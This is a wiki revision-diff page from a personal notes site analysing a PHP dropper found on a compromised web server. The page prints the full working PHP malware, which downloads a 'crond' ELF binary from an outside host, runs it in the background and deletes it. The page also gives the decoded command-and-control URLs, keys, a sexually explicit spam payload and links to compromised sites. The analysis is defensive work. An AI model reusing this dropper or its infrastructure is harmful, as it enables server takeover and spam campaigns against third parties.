PHP Shell Exploit: Difference between revisions
From Leo's Notes
This page was last edited on 6 May 2015, at 03:52.
No edit summary |
No edit summary |
||
| Line 224: | Line 224: | ||
return FALSE; | return FALSE; | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
| Line 231: | Line 230: | ||
The attacker will see the following outputs: | The attacker will see the following outputs: | ||
<syntaxhighlight lang="text> | <syntaxhighlight lang="text"> | ||
<shchzzz><inf step=3 data=x64><inf step=4 data=downok><inf step=5 data=done data2=XXX></shchzzz> | <shchzzz> | ||
<inf step=3 data=x64> | |||
<inf step=4 data=downok> | |||
<inf step=5 data=done data2=XXX> | |||
</shchzzz> | |||
</syntaxhighlight> | </syntaxhighlight> | ||
| Line 239: | Line 242: | ||
<syntaxhighlight lang="text"> | <syntaxhighlight lang="text"> | ||
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null & | XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null & | ||
</syntaxhighlight> | |||
The <code>XDVSN_SESSION_COOKIE</code> environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately. | |||
The decoded value of the environment variable: | |||
<syntaxhighlight lang="text"> | |||
<ps>10</ps><urh></urh><urp></urp><lt>500</lt><lc>100</lc><bs>20</bs><lu>http://sk.touchpadz.com/</lu><bu>http://bat.touchpadz.com/aa2.php</bu><su>http://stat.touchpadz.com/gj13.php</su><ldb>wb_001</ldb><kk>38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c</kk> | |||
</syntaxhighlight> | |||
There are three URLs that the program will fetch data from. | |||
# lu: http://sk.touchpadz.com/ + /img/logo.gif?sessd='''$ldb'''&sessc='''$lc'''&sessk='''$kk''' | |||
# bu: http://bat.touchpadz.com/aa2.php | |||
# su: http://stat.touchpadz.com/gj13.php | |||
The <code>lu</code> URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format. | |||
The <code>bu</code> URL will return the spam message payload, encoded with the base64+xor encoder. | |||
<syntaxhighlight lang="text"> | |||
<USER>lula_burton</USER> | |||
<NAME>"Lula Burton"</NAME> | |||
<SUBJ>Fw: Hairy pussy girl undress panties</SUBJ> | |||
<SBODY> | |||
<div> | |||
<p><a href="http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%">Hairy pussy girl undress panties</a></p> | |||
combat, why none of us would be here. Thanks guys. Mission complete | |||
</div> | |||
</SBODY> | |||
</syntaxhighlight> | |||
The <code>su</code> URL will return the exploit URL that contains the PHP spammer. | |||
<syntaxhighlight lang="text"> | |||
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php | |||
</syntaxhighlight> | </syntaxhighlight> | ||
Revision as of 03:52, 6 May 2015
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";
$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');
echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";
if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}
$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);
if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}
chmod($exploitFilename, 0755);
$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);
echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);
unlink($exploitFilename);
break;
}
echo '</shchzzz>';
exit();
function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');
if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;
$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}
function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');
if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}
function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);
if ($hackFileContents == FALSE) return FALSE;
if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}
<?php
$key="1)#'ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK>a;q0HD.&QRz~@,TM-l(5JSitk/]2bu=d\"I<BEXfv*+";
$crondElf32 ='http://pages.touchpadz.com/crond32';
$crondElf64 ='http://pages.touchpadz.com/crond64';
$xdvsnExploitEnv = 'XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8';
$systemType = php_uname('s');
$xpsvt57 = php_uname('m');
echo '<shchzzz>';
for (;;) {
if (!function_exists('shell_exec')) {
echo '<err step=1 err=noshex data=>';
break;
}
if ($systemType !== 'Linux') {
echo '<err step=2 err=nolinux data='.$hafev1.'>';
break;
}
$targetFilename = 'crond';
$exploitUrl = "";
if (strlen(decbin(~0)) == 64) {
echo '<inf step=3 data=x64>';
$exploitUrl = $crondElf64;
} else {
echo '<inf step=3 data=x32>';
$exploitUrl = $crondElf32;
}
$exploitFilename = "";
if (!file_exists($targetFilename)) {
$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);
if ( $exploitFilename == FALSE) {
echo '<err step=4 err=downl data=>';
break;
} else {
echo '<inf step=4 data=downok>';
}
} else {
echo '<inf step=4 data=exists>';
}
chmod($exploitFilename, 0755);
$exploitCmd = $xdvsnExploitEnv.' ./'.$exploitFilename.' >/dev/null 2>/dev/null &';
$exploitResult = shell_exec($exploitCmd);
echo '<inf step=5 data=done data2='.$exploitResult.'>';
sleep(1);
unlink($exploitFilename);
break;
}
echo '</shchzzz>';
exit();
function getPasteFileContents($key, $url) {
$hackFileContents = "";
$fp = @fopen($url, 'rb');
if ($fp == FALSE) {
if (!function_exists('curl_init'))
return FALSE;
$curl = @curl_init();
@curl_setopt($curl, CURLOPT_URL, $url);
@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$hackFileContents = @curl_exec($curl);
@curl_close($curl);
} else {
while(!feof($fp))
$hackFileContents.= fread($fp, 1024 * 64);
fclose($fp);
}
return $hackFileContents;
}
function saveContentsToFile($key, $hackFilename, $hackFileContents) {
$fp = fopen($hackFilename, 'wb+');
if ($fp == FALSE) {
if (!function_exists('file_put_contents')) return FALSE;
if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;
} else {
$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));
fclose($fp);
if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;
}
return TRUE;
}
function saveUrlToFile($key, $url, $exploitFilename) {
$hackFileContents = getPasteFileContents($key, $url);
if ($hackFileContents == FALSE) return FALSE;
if (saveContentsToFile($key, .'/'.$exploitFilename, $hackFileContents) == FALSE) {
if (saveContentsToFile($key, '/tmp/'.$exploitFilename, $hackFileContents) == FALSE) {
return FALSE;
} else {
return '/tmp/'.$exploitFilename;
}
} else {
return .'/'.$exploitFilename;
}
return FALSE;
}
The attacker will see the following outputs:
<shchzzz>
<inf step=3 data=x64>
<inf step=4 data=downok>
<inf step=5 data=done data2=XXX>
</shchzzz>
where XXX is the return code of the shell exec which attempts to run:
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond >/dev/null 2>/dev/null &
The XDVSN_SESSION_COOKIE environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.
The decoded value of the environment variable:
<ps>10</ps><urh></urh><urp></urp><lt>500</lt><lc>100</lc><bs>20</bs><lu>http://sk.touchpadz.com/</lu><bu>http://bat.touchpadz.com/aa2.php</bu><su>http://stat.touchpadz.com/gj13.php</su><ldb>wb_001</ldb><kk>38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c</kk>
There are three URLs that the program will fetch data from.
- lu: http://sk.touchpadz.com/ + /img/logo.gif?sessd=$ldb&sessc=$lc&sessk=$kk
- bu: http://bat.touchpadz.com/aa2.php
- su: http://stat.touchpadz.com/gj13.php
